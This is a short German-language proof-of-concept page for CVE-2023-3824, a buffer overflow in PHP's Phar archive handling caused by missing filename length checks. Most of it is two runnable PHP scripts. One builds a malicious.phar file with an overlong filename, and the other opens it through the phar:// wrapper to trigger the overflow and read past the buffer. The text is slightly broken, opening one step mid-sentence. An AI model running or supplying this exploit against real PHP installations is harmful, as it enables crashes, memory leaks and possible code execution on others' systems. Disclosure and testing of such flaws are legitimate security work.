
Schwachstelle in PHP Phar-Dateien, aufgrund eines Pufferüberlaufs, entsteht durch unzureichende Längenprüfungen von Dateinamen innerhalb des Phar-Archivs. Angreifer können Phar-Dateien mit langen Dateinamen erstellen, was zu einem Pufferüberlauf und möglicher Ausführung von schädlichem Code oder Datenlecks führen kann. Diese Schwachstelle kann für die Codeausführung CVE-2023-3824 ausgenutzt werden.
Dieses Proof of Concept (PoC) demonstriert, wie man eine schädliche Phar-Datei in PHP erstellt und eine Pufferüberlauf-Schwachstelle auslöst.
create_phar.php) und fügen Sie den folgenden Code hinzu:<?php
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString(str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');
$phar->stopBuffering();
?>
Führen Sie das PHP-Skript aus, um die schädliche Phar-Datei zu erstellen: Code kopieren
php create_phar.php
Erstellen Sie eine weitere PHP-Datei (z. B. trigger_overflow.php) und fügen Sie den folgenden Code hinzu:
<?php
$handle = opendir("phar://./malicious.phar");
$x = readdir($handle);
closedir($handle);
var_dump($x);
?>
Führen Sie das PHP-Skript aus, um den Pufferüberlauf auszulösen: Code kopieren
php trigger_overflow.php
Die var_dump($x)-Anweisung gibt das Ergebnis des Pufferüberlaufs und des Überlesevorgangs aus.